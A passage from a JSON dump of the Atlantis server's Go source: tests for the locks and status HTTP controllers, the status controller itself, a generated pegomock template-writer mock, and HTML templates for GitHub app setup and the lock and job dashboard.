req)\n\tResponseContains(t, w, http.StatusInternalServerError, \"err\")\n}\n\nfunc TestGetLock_None(t *testing.T) {\n\tt.Log(\"If there is no lock at that ID we get a 404\")\n\tctrl := gomock.NewController(t)\n\tl := mocks.NewMockLocker(ctrl)\n\tl.EXPECT().GetLock(\"id\").Return(nil, nil)\n\tlc := controllers.LocksController{\n\t\tLogger: logging.NewNoopLogger(t),\n\t\tLocker: l,\n\t}\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq = mux.SetURLVars(req, map[string]string{\"id\": \"id\"})\n\tw := httptest.NewRecorder()\n\tlc.GetLock(w, req)\n\tResponseContains(t, w, http.StatusNotFound, \"No lock found at id 'id'\")\n}\n\nfunc TestGetLock_Success(t *testing.T) {\n\tt.Log(\"Should be able to render a lock successfully\")\n\tRegisterMockTestingT(t) // needed for pegomock TemplateWriter mock\n\tctrl := gomock.NewController(t)\n\tl := mocks.NewMockLocker(ctrl)\n\tl.EXPECT().GetLock(\"id\").Return(&models.ProjectLock{\n\t\tProject:   models.Project{RepoFullName: \"owner/repo\", Path: \"path\"},\n\t\tPull:      models.PullRequest{URL: \"url\", Author: \"lkysow\"},\n\t\tWorkspace: \"workspace\",\n\t}, nil)\n\ttmpl := tMocks.NewMockTemplateWriter()\n\tatlantisURL, err := url.Parse(\"https://example.com/basepath\")\n\tOk(t, err)\n\tlc := controllers.LocksController{\n\t\tLogger:             logging.NewNoopLogger(t),\n\t\tLocker:             l,\n\t\tLockDetailTemplate: tmpl,\n\t\tAtlantisVersion:    \"1300135\",\n\t\tAtlantisURL:        atlantisURL,\n\t}\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq = mux.SetURLVars(req, map[string]string{\"id\": \"id\"})\n\tw := httptest.NewRecorder()\n\tlc.GetLock(w, req)\n\ttmpl.VerifyWasCalledOnce().Execute(w, web_templates.LockDetailData{\n\t\tLockKeyEncoded:  \"id\",\n\t\tLockKey:         \"id\",\n\t\tRepoOwner:       \"owner\",\n\t\tRepoName:        \"repo\",\n\t\tPullRequestLink: \"url\",\n\t\tLockedBy:        \"lkysow\",\n\t\tWorkspace:       \"workspace\",\n\t\tAtlantisVersion: \"1300135\",\n\t\tCleanedBasePath: \"/basepath\",\n\t})\n\tResponseContains(t, w, http.StatusOK, \"\")\n}\n\nfunc TestDeleteLock_NoLockID(t *testing.T) {\n\tt.Log(\"If there is no lock ID in the request then we should get a 400\")\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\tw := httptest.NewRecorder()\n\tlc := controllers.LocksController{Logger: logging.NewNoopLogger(t)}\n\tlc.DeleteLock(w, req)\n\tResponseContains(t, w, http.StatusBadRequest, \"No lock id in request\")\n}\n\nfunc TestDeleteLock_InvalidLockID(t *testing.T) {\n\tt.Log(\"If the lock ID is invalid then we should get a 400\")\n\tlc := controllers.LocksController{Logger: logging.NewNoopLogger(t)}\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq = mux.SetURLVars(req, map[string]string{\"id\": \"%A@\"})\n\tw := httptest.NewRecorder()\n\tlc.DeleteLock(w, req)\n\tResponseContains(t, w, http.StatusBadRequest, \"Invalid lock id '%A@'\")\n}\n\nfunc TestDeleteLock_LockerErr(t *testing.T) {\n\tt.Log(\"If there is an error retrieving the lock, a 500 is returned\")\n\tRegisterMockTestingT(t)\n\tdlc := mocks2.NewMockDeleteLockCommand()\n\tWhen(dlc.DeleteLock(Any[logging.SimpleLogging](), Eq(\"id\"))).ThenReturn(nil, errors.New(\"err\"))\n\tlc := controllers.LocksController{\n\t\tDeleteLockCommand: dlc,\n\t\tLogger:            logging.NewNoopLogger(t),\n\t}\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq = mux.SetURLVars(req, map[string]string{\"id\": \"id\"})\n\tw := httptest.NewRecorder()\n\tlc.DeleteLock(w, req)\n\tResponseContains(t, w, http.StatusInternalServerError, \"err\")\n}\n\nfunc TestDeleteLock_None(t *testing.T) {\n\tt.Log(\"If there is no lock at that ID we get a 404\")\n\tRegisterMockTestingT(t)\n\tdlc := mocks2.NewMockDeleteLockCommand()\n\tWhen(dlc.DeleteLock(Any[logging.SimpleLogging](), Eq(\"id\"))).ThenReturn(nil, nil)\n\tlc := controllers.LocksController{\n\t\tDeleteLockCommand: dlc,\n\t\tLogger:            logging.NewNoopLogger(t),\n\t}\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq = mux.SetURLVars(req, map[string]string{\"id\": \"id\"})\n\tw := httptest.NewRecorder()\n\tlc.DeleteLock(w, req)\n\tResponseContains(t, w, http.StatusNotFound, \"No lock found at id 'id'\")\n}\n\nfunc TestDeleteLock_OldFormat(t *testing.T) {\n\tt.Log(\"If the lock doesn't have BaseRepo set it is deleted successfully\")\n\tRegisterMockTestingT(t)\n\tcp := vcsmocks.NewMockClient()\n\tdlc := mocks2.NewMockDeleteLockCommand()\n\tWhen(dlc.DeleteLock(Any[logging.SimpleLogging](), Eq(\"id\"))).ThenReturn(&models.ProjectLock{}, nil)\n\tlc := controllers.LocksController{\n\t\tDeleteLockCommand: dlc,\n\t\tLogger:            logging.NewNoopLogger(t),\n\t\tVCSClient:         cp,\n\t}\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq = mux.SetURLVars(req, map[string]string{\"id\": \"id\"})\n\tw := httptest.NewRecorder()\n\tlc.DeleteLock(w, req)\n\tResponseContains(t, w, http.StatusOK, \"Deleted lock id 'id'\")\n\tcp.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]())\n}\n\nfunc TestDeleteLock_UpdateProjectStatus(t *testing.T) {\n\tt.Log(\"When deleting a lock, pull status has to be updated to reflect discarded plan\")\n\tRegisterMockTestingT(t)\n\n\trepoName := \"owner/repo\"\n\tprojectPath := \"path\"\n\tworkspaceName := \"workspace\"\n\n\tcp := vcsmocks.NewMockClient()\n\tl := mocks2.NewMockDeleteLockCommand()\n\tworkingDir := mocks2.NewMockWorkingDir()\n\tworkingDirLocker := events.NewDefaultWorkingDirLocker()\n\tpull := models.PullRequest{\n\t\tBaseRepo: models.Repo{FullName: repoName},\n\t}\n\tWhen(l.DeleteLock(Any[logging.SimpleLogging](), Eq(\"id\"))).ThenReturn(&models.ProjectLock{\n\t\tPull:      pull,\n\t\tWorkspace: workspaceName,\n\t\tProject: models.Project{\n\t\t\tPath:         projectPath,\n\t\t\tRepoFullName: repoName,\n\t\t},\n\t}, nil)\n\tvar database db.Database\n\ttmp := t.TempDir()\n\tdatabase, err := boltdb.New(tmp)\n\tOk(t, err)\n\t// Seed the DB with a successful plan for that project (that is later discarded).\n\t_, err = database.UpdatePullWithResults(pull, []command.ProjectResult{\n\t\t{\n\t\t\tCommand:    command.Plan,\n\t\t\tRepoRelDir: projectPath,\n\t\t\tWorkspace:  workspaceName,\n\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\tTerraformOutput: \"tf-output\",\n\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t})\n\tOk(t, err)\n\tlc := controllers.LocksController{\n\t\tDeleteLockCommand: l,\n\t\tLogger:            logging.NewNoopLogger(t),\n\t\tVCSClient:         cp,\n\t\tWorkingDirLocker:  workingDirLocker,\n\t\tWorkingDir:        workingDir,\n\t\tDatabase:          database,\n\t}\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq = mux.SetURLVars(req, map[string]string{\"id\": \"id\"})\n\tw := httptest.NewRecorder()\n\tlc.DeleteLock(w, req)\n\tResponseContains(t, w, http.StatusOK, \"Deleted lock id 'id'\")\n\tstatus, err := database.GetPullStatus(pull)\n\tOk(t, err)\n\tAssert(t, status.Projects != nil, \"status projects was nil\")\n\tEquals(t, []models.ProjectStatus{\n\t\t{\n\t\t\tWorkspace:  workspaceName,\n\t\t\tRepoRelDir: projectPath,\n\t\t\tStatus:     models.DiscardedPlanStatus,\n\t\t},\n\t}, status.Projects)\n}\n\nfunc TestDeleteLock_CommentFailed(t *testing.T) {\n\tt.Log(\"If the commenting fails we still return success\")\n\tRegisterMockTestingT(t)\n\tdlc := mocks2.NewMockDeleteLockCommand()\n\tWhen(dlc.DeleteLock(Any[logging.SimpleLogging](), Eq(\"id\"))).ThenReturn(&models.ProjectLock{\n\t\tPull: models.PullRequest{\n\t\t\tBaseRepo: models.Repo{FullName: \"owner/repo\"},\n\t\t},\n\t}, nil)\n\tcp := vcsmocks.NewMockClient()\n\tworkingDir := mocks2.NewMockWorkingDir()\n\tworkingDirLocker := events.NewDefaultWorkingDirLocker()\n\tvar database db.Database\n\ttmp := t.TempDir()\n\tdatabase, err := boltdb.New(tmp)\n\tOk(t, err)\n\tWhen(cp.CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]())).ThenReturn(errors.New(\"err\"))\n\tlc := controllers.LocksController{\n\t\tDeleteLockCommand: dlc,\n\t\tLogger:            logging.NewNoopLogger(t),\n\t\tVCSClient:         cp,\n\t\tWorkingDir:        workingDir,\n\t\tWorkingDirLocker:  workingDirLocker,\n\t\tDatabase:          database,\n\t}\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq = mux.SetURLVars(req, map[string]string{\"id\": \"id\"})\n\tw := httptest.NewRecorder()\n\tlc.DeleteLock(w, req)\n\tResponseContains(t, w, http.StatusOK, \"Deleted lock id 'id'\")\n}\n\nfunc TestDeleteLock_CommentSuccess(t *testing.T) {\n\tt.Log(\"We should comment back on the pull request if the lock is deleted\")\n\tRegisterMockTestingT(t)\n\tcp := vcsmocks.NewMockClient()\n\tdlc := mocks2.NewMockDeleteLockCommand()\n\tworkingDir := mocks2.NewMockWorkingDir()\n\tworkingDirLocker := events.NewDefaultWorkingDirLocker()\n\tvar database db.Database\n\ttmp := t.TempDir()\n\tdatabase, err := boltdb.New(tmp)\n\tOk(t, err)\n\tpull := models.PullRequest{\n\t\tBaseRepo: models.Repo{FullName: \"owner/repo\"},\n\t}\n\tWhen(dlc.DeleteLock(Any[logging.SimpleLogging](), Eq(\"id\"))).ThenReturn(&models.ProjectLock{\n\t\tPull:      pull,\n\t\tWorkspace: \"workspace\",\n\t\tProject: models.Project{\n\t\t\tPath:         \"path\",\n\t\t\tRepoFullName: \"owner/repo\",\n\t\t},\n\t}, nil)\n\tlc := controllers.LocksController{\n\t\tDeleteLockCommand: dlc,\n\t\tLogger:            logging.NewNoopLogger(t),\n\t\tVCSClient:         cp,\n\t\tDatabase:          database,\n\t\tWorkingDir:        workingDir,\n\t\tWorkingDirLocker:  workingDirLocker,\n\t}\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq = mux.SetURLVars(req, map[string]string{\"id\": \"id\"})\n\tw := httptest.NewRecorder()\n\tlc.DeleteLock(w, req)\n\tResponseContains(t, w, http.StatusOK, \"Deleted lock id 'id'\")\n\tcp.VerifyWasCalled(Once()).CreateComment(Any[logging.SimpleLogging](), Eq(pull.BaseRepo), Eq(pull.Num),\n\t\tEq(\"**Warning**: The plan for dir: `path` workspace: `workspace` was **discarded** via the Atlantis UI.\\n\\n\"+\n\t\t\t\"To `apply` this plan you must run `plan` again.\"), Eq(\"\"))\n}\n"
  },
  {
    "path": "server/controllers/status_controller.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage controllers\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n// StatusController handles the status of Atlantis.\ntype StatusController struct {\n\tLogger          logging.SimpleLogging `validate:\"required\"`\n\tDrainer         *events.Drainer       `validate:\"required\"`\n\tAtlantisVersion string                `validate:\"required\"`\n}\n\ntype StatusResponse struct {\n\tShuttingDown    bool   `json:\"shutting_down\"`\n\tInProgressOps   int    `json:\"in_progress_operations\"`\n\tAtlantisVersion string `json:\"version\"`\n}\n\n// Get is the GET /status route.\nfunc (d *StatusController) Get(w http.ResponseWriter, _ *http.Request) {\n\tstatus := d.Drainer.GetStatus()\n\tdata, err := json.MarshalIndent(&StatusResponse{\n\t\tShuttingDown:    status.ShuttingDown,\n\t\tInProgressOps:   status.InProgressOps,\n\t\tAtlantisVersion: d.AtlantisVersion,\n\t}, \"\", \"  \")\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tfmt.Fprintf(w, \"Error creating status json response: %s\", err)\n\t\treturn\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.Write(data) // nolint: errcheck\n}\n"
  },
  {
    "path": "server/controllers/status_controller_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage controllers_test\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/controllers\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestStatusController_Startup(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tr, _ := http.NewRequest(\"GET\", \"/status\", bytes.NewBuffer(nil))\n\tw := httptest.NewRecorder()\n\tdr := &events.Drainer{}\n\td := &controllers.StatusController{\n\t\tLogger:          logger,\n\t\tDrainer:         dr,\n\t\tAtlantisVersion: \"1.0.0\",\n\t}\n\td.Get(w, r)\n\n\tvar result controllers.StatusResponse\n\tbody, err := io.ReadAll(w.Result().Body)\n\tOk(t, err)\n\tEquals(t, 200, w.Result().StatusCode)\n\terr = json.Unmarshal(body, &result)\n\tOk(t, err)\n\tEquals(t, false, result.ShuttingDown)\n\tEquals(t, 0, result.InProgressOps)\n}\n\nfunc TestStatusController_InProgress(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tr, _ := http.NewRequest(\"GET\", \"/status\", bytes.NewBuffer(nil))\n\tw := httptest.NewRecorder()\n\tdr := &events.Drainer{}\n\tdr.StartOp()\n\n\td := &controllers.StatusController{\n\t\tLogger:          logger,\n\t\tDrainer:         dr,\n\t\tAtlantisVersion: \"1.0.0\",\n\t}\n\td.Get(w, r)\n\n\tvar result controllers.StatusResponse\n\tbody, err := io.ReadAll(w.Result().Body)\n\tOk(t, err)\n\tEquals(t, 200, w.Result().StatusCode)\n\terr = json.Unmarshal(body, &result)\n\tOk(t, err)\n\tEquals(t, false, result.ShuttingDown)\n\tEquals(t, 1, result.InProgressOps)\n}\n\nfunc TestStatusController_Shutdown(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tr, _ := http.NewRequest(\"GET\", \"/status\", bytes.NewBuffer(nil))\n\tw := httptest.NewRecorder()\n\tdr := &events.Drainer{}\n\tdr.ShutdownBlocking()\n\n\td := &controllers.StatusController{\n\t\tLogger:          logger,\n\t\tDrainer:         dr,\n\t\tAtlantisVersion: \"1.0.0\",\n\t}\n\td.Get(w, r)\n\n\tvar result controllers.StatusResponse\n\tbody, err := io.ReadAll(w.Result().Body)\n\tOk(t, err)\n\tEquals(t, 200, w.Result().StatusCode)\n\terr = json.Unmarshal(body, &result)\n\tOk(t, err)\n\tEquals(t, true, result.ShuttingDown)\n\tEquals(t, 0, result.InProgressOps)\n}\n"
  },
  {
    "path": "server/controllers/web_templates/mocks/mock_template_writer.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/controllers/web_templates (interfaces: TemplateWriter)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tio \"io\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockTemplateWriter struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockTemplateWriter(options ...pegomock.Option) *MockTemplateWriter {\n\tmock := &MockTemplateWriter{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockTemplateWriter) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockTemplateWriter) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockTemplateWriter) Execute(wr io.Writer, data interface{}) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockTemplateWriter().\")\n\t}\n\t_params := []pegomock.Param{wr, data}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Execute\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockTemplateWriter) VerifyWasCalledOnce() *VerifierMockTemplateWriter {\n\treturn &VerifierMockTemplateWriter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockTemplateWriter) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockTemplateWriter {\n\treturn &VerifierMockTemplateWriter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockTemplateWriter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockTemplateWriter {\n\treturn &VerifierMockTemplateWriter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockTemplateWriter) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockTemplateWriter {\n\treturn &VerifierMockTemplateWriter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockTemplateWriter struct {\n\tmock                   *MockTemplateWriter\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockTemplateWriter) Execute(wr io.Writer, data interface{}) *MockTemplateWriter_Execute_OngoingVerification {\n\t_params := []pegomock.Param{wr, data}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Execute\", _params, verifier.timeout)\n\treturn &MockTemplateWriter_Execute_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockTemplateWriter_Execute_OngoingVerification struct {\n\tmock              *MockTemplateWriter\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockTemplateWriter_Execute_OngoingVerification) GetCapturedArguments() (io.Writer, interface{}) {\n\twr, data := c.GetAllCapturedArguments()\n\treturn wr[len(wr)-1], data[len(data)-1]\n}\n\nfunc (c *MockTemplateWriter_Execute_OngoingVerification) GetAllCapturedArguments() (_param0 []io.Writer, _param1 []interface{}) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]io.Writer, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(io.Writer)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]interface{}, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(interface{})\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/controllers/web_templates/templates/github-app.html.tmpl",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n  <meta charset=\"utf-8\">\n  <title>atlantis</title>\n  <meta name=\"description\" content=\"\">\n  <meta name=\"author\" content=\"\">\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n  <link rel=\"stylesheet\" href=\"{{ .CleanedBasePath }}/static/css/normalize.css\">\n  <link rel=\"stylesheet\" href=\"{{ .CleanedBasePath }}/static/css/skeleton.css\">\n  <link rel=\"stylesheet\" href=\"{{ .CleanedBasePath }}/static/css/custom.css\">\n  <style>\n\n    form {\n      width: 100%;\n    }\n\n    form button {\n      float: right;\n    }\n\n    textarea {\n      width: 100%;\n      height: 300px;\n      font-family: monospace;\n    }\n\n    .config {\n      display: flex;\n      flex-direction: row;\n      align-items: baseline;\n      border-bottom: 1px solid #eee;\n    }\n\n\n    .config strong {\n      width: 15%;\n    }\n\n    pre {\n      background-color: #eee;\n      padding: .5em;\n      width: 80%;\n    }\n  </style>\n  <link rel=\"icon\" type=\"image/png\" href=\"{{ .CleanedBasePath }}/static/images/atlantis-icon.png\">\n  <script src=\"{{ .CleanedBasePath }}/static/js/jquery-3.5.1.min.js\"></script>\n</head>\n<body>\n<div class=\"container\">\n  <section class=\"header\">\n    <a title=\"atlantis\" href=\"{{ .CleanedBasePath }}\"><img class=\"hero\" src=\"{{ .CleanedBasePath }}/static/images/atlantis-icon_512.png\"/></a>\n    <p class=\"title-heading\">atlantis</p>\n\n    <p class=\"github-app-msg\"><strong>\n    {{ if .Target }}\n      Create a github app\n    {{ else }}\n      Github app created successfully!\n    {{ end }}\n    </strong></p>\n  </section>\n  <section>\n    {{ if .Target }}\n    <form action=\"{{ .Target }}\" method=\"POST\">\n      <textarea name=\"manifest\">{{ .Manifest }}</textarea>\n      <button type=\"submit\">Setup</button>\n    </form>\n    {{ else }}\n      <p>Visit <a href=\"{{ .URL }}/installations/new\" target=\"_blank\">{{ .URL }}/installations/new</a> to install the app for your user or organization, then <strong>update the following values</strong> in your config and <strong>restart Atlantis<strong>:</p>\n\n      <ul>\n        <li class=\"config\"><strong>gh-app-id:</strong> <pre>{{ .ID }}</pre></li>\n        <li class=\"config\"><strong>gh-app-key-file:</strong> <pre>{{ .Key }}</pre></li>\n        <li class=\"config\"><strong>gh-webhook-secret:</strong> <pre>{{ .WebhookSecret }}</pre></li>\n      </ul>\n    {{ end }}\n  </section>\n</div>\n</body>\n</html>\n"
  },
  {
    "path": "server/controllers/web_templates/templates/index.html.tmpl",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n  <meta charset=\"utf-8\">\n  <title>atlantis</title>\n  <meta name=\"description\" content=\"\">\n  <meta name=\"author\" content=\"\">\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n  <script src=\"{{ .CleanedBasePath }}/static/js/jquery-3.5.1.min.js\"></script>\n  <script>\n    $(document).ready(function () {\n      if (document.URL.indexOf(\"discard=true\") !== -1) {\n        $(\"p.js-discard-success\").show();\n        setTimeout(function() {\n          $(\"p.js-discard-success\").fadeOut('slow',function(){\n            window.location.href = \"/\";\n          })\n        }, 5000); // <-- time in milliseconds\n      }\n    });\n  </script>\n  <link rel=\"stylesheet\" href=\"{{ .CleanedBasePath }}/static/css/normalize.css\">\n  <link rel=\"stylesheet\" href=\"{{ .CleanedBasePath }}/static/css/skeleton.css\">\n  <link rel=\"stylesheet\" href=\"{{ .CleanedBasePath }}/static/css/custom.css\">\n  <link rel=\"icon\" type=\"image/png\" href=\"{{ .CleanedBasePath }}/static/images/atlantis-icon.png\">\n</head>\n<body>\n<div class=\"container\">\n  <section class=\"header\">\n    <a title=\"atlantis\" href=\"{{ .CleanedBasePath }}/\"><img class=\"hero\" src=\"{{ .CleanedBasePath }}/static/images/atlantis-icon_512.png\"/></a>\n    <p class=\"title-heading\">atlantis</p>\n    <p class=\"js-discard-success\"><strong>Plan discarded and unlocked!</strong></p>\n  </section>\n  <section>\n    {{ if .ApplyLock.GlobalApplyLockEnabled }}\n    {{ if .ApplyLock.Locked }}\n    <div class=\"twelve center columns\">\n      <h6><strong>Apply commands are disabled globally</strong></h6>\n      <h6><code>Lock Status</code>: <strong>Active</strong></h6>\n      <h6><code>Active Since</code>: <strong>{{ .ApplyLock.TimeFormatted }}</strong></h6>\n      <a class=\"button button-primary\" id=\"applyUnlockPrompt\">Enable Apply Commands</a>\n    </div>\n    {{ else }}\n    <div class=\"twelve columns\">\n      <h6><strong>Apply commands are enabled</strong></h6>\n      <a class=\"button button-primary\" id=\"applyLockPrompt\">Disable Apply Commands</a>\n    </div>\n    {{ end }}\n    {{ end }}\n  </section>\n  <br>\n  <br>\n  <br>\n  <section>\n    <p class=\"title-heading small\"><strong>Locks</strong></p>\n    {{ $basePath := .CleanedBasePath }}\n    {{ if .Locks }}\n    <div class=\"lock-grid\">\n    <div class=\"lock-header\">\n      <span>Repository</span>\n      <span>Project</span>\n      <span>Workspace</span>\n      <span>Locked By</span>\n      <span>Date/Time</span>\n      <span>Status</span>\n    </div>\n    {{ range .Locks }}\n        <div class=\"lock-row\">\n        <a class=\"lock-link\" href=\"{{ $basePath }}{{.LockPath}}\">\n          <span class=\"lock-reponame\">{{.RepoFullName}} #{{.PullNum}}</span>\n        </a>\n        <a class=\"lock-link\" tabindex=\"-1\" href=\"{{ $basePath }}{{.LockPath}}\">\n          <span class=\"lock-path\">{{.Path}}</span>\n        </a>\n        <a class=\"lock-link\" tabindex=\"-1\" href=\"{{ $basePath }}{{.LockPath}}\">\n          <span><code>{{.Workspace}}</code></span>\n        </a>\n        <a class=\"lock-link\" tabindex=\"-1\" href=\"{{ $basePath }}{{.LockPath}}\">\n          <span class=\"lock-username\">{{.LockedBy}}</span>\n        </a>\n        <a class=\"lock-link\" tabindex=\"-1\" href=\"{{ $basePath }}{{.LockPath}}\">\n          <span class=\"lock-datetime\">{{.TimeFormatted}}</span>\n        </a>\n        <a class=\"lock-link\" tabindex=\"-1\" href=\"{{ $basePath }}{{.LockPath}}\">\n          <span><code>Locked</code></span>\n        </a>\n        </div>\n    {{ end }}\n    </div>\n    {{ else }}\n    <p class=\"placeholder\">No locks found.</p>\n    {{ end }}\n  </section>\n  <br>\n  <br>\n  <br>\n  <section>\n    <p class=\"title-heading small\"><strong>Jobs</strong></p>\n    {{ if .PullToJobMapping }}\n    <div class=\"lock-grid\">\n    <div class=\"lock-header\">\n      <span>Repository</span>\n      <span>Project</span>\n      <span>Workspace</span>\n      <span>Date/Time</span>\n      <span>Step</span>\n      <span>Description</span>\n    </div>\n    {{ range .PullToJobMapping }}\n      <div class=\"pulls-row\">\n      <span class=\"pulls-element\">{{ .Pull.RepoFullName }} #{{ .Pull.PullNum }}</span>\n      <span class=\"pulls-element\">{{ if .Pull.Path }}<code>{{ .Pull.Path }}</code>{{ end }}</span>\n      <span class=\"pulls-element\">{{ if .Pull.Workspace }}<code>{{ .Pull.Workspace }}</code>{{ end }}</span>\n      <span class=\"pulls-element\">\n      {{ range .JobIDInfos }}\n        <div><span class=\"lock-datetime\">{{ .TimeFormatted }}</span></div>\n      {{ end }}\n      </span>\n      <span class=\"pulls-element\">\n      {{ range .JobIDInfos }}\n        <div><a href=\"{{ $basePath }}{{ .JobIDUrl }}\" target=\"_blank\">{{ .JobStep }}</a></div>\n      {{ end }}\n      </span>\n      <span class=\"pulls-element\">\n      {{ range .JobIDInfos }}\n        <div>{{ .JobDescription }}</div>\n      {{ end }}\n      </span>\n      </div>\n    {{ end }}\n    </div>\n    {{ else }}\n    <p class=\"placeholder\">No jobs found.</p>\n    {{ end }}\n  </section>\n  <div id=\"applyLockMessageModal\" class=\"modal\">\n    <!-- Modal content -->\n    <div class=\"modal-content\">\n      <div class=\"modal-header\">\n        <span class=\"close\">&times;</span>\n      </div>\n      <div class=\"modal-body\">\n        <p><strong>Are you sure you want to create a global apply lock? It will disable applies globally</strong></p>\n        <input class=\"button-primary\" id=\"applyLockYes\" type=\"submit\" value=\"Yes\">\n        <input type=\"button\" class=\"cancel\" value=\"Cancel\">\n      </div>\n    </div>\n  </div>\n  <div id=\"applyUnlockMessageModal\" class=\"modal\">\n    <!-- Modal content -->\n    <div class=\"modal-content\">\n      <div class=\"modal-header\">\n        <span class=\"close\">&times;</span>\n      </div>\n      <div class=\"modal-body\">\n        <p><strong>Are you sure you want to release global apply lock?</strong></p>\n        <input class=\"button-primary\" id=\"applyUnlockYes\" type=\"submit\" value=\"Yes\">\n        <input type=\"button\" class=\"cancel\" value=\"Cancel\">\n      </div>\n    </div>\n  </div>\n</div>\n<footer>\n{{ .AtlantisVersion }}\n</footer>\n<script>\n\n  function applyLockModalSetup(lockOrUnlock) {\n      // Get the modal\n      switch( lockOrUnlock ) {\n      case \"lock\":\n          var modal = $(\"#applyLockMessageModal\");\n\n          var btn = $(\"#applyLockPrompt\");\n\n          $(\"#applyLockYes\").click(function() {\n            $.ajax({\n                url: '{{ .CleanedBasePath }}/apply/lock',\n                type: 'POST',\n                success: function(result) {\n                  window.location.replace(\"{{ .CleanedBasePath }}/\");\n                }\n            });\n          });\n\n          break;\n      case \"unlock\":\n          var modal = $(\"#applyUnlockMessageModal\");\n\n          var btn = $(\"#applyUnlockPrompt\");\n          var btnApplyUnlock =\n\n          $(\"#applyUnlockYes\").click(function() {\n            $.ajax({\n                url: '{{ .CleanedBasePath }}/apply/unlock',\n                type: 'DELETE',\n                success: function(result) {\n                  window.location.replace(\"{{ .CleanedBasePath }}/\");\n                }\n            });\n          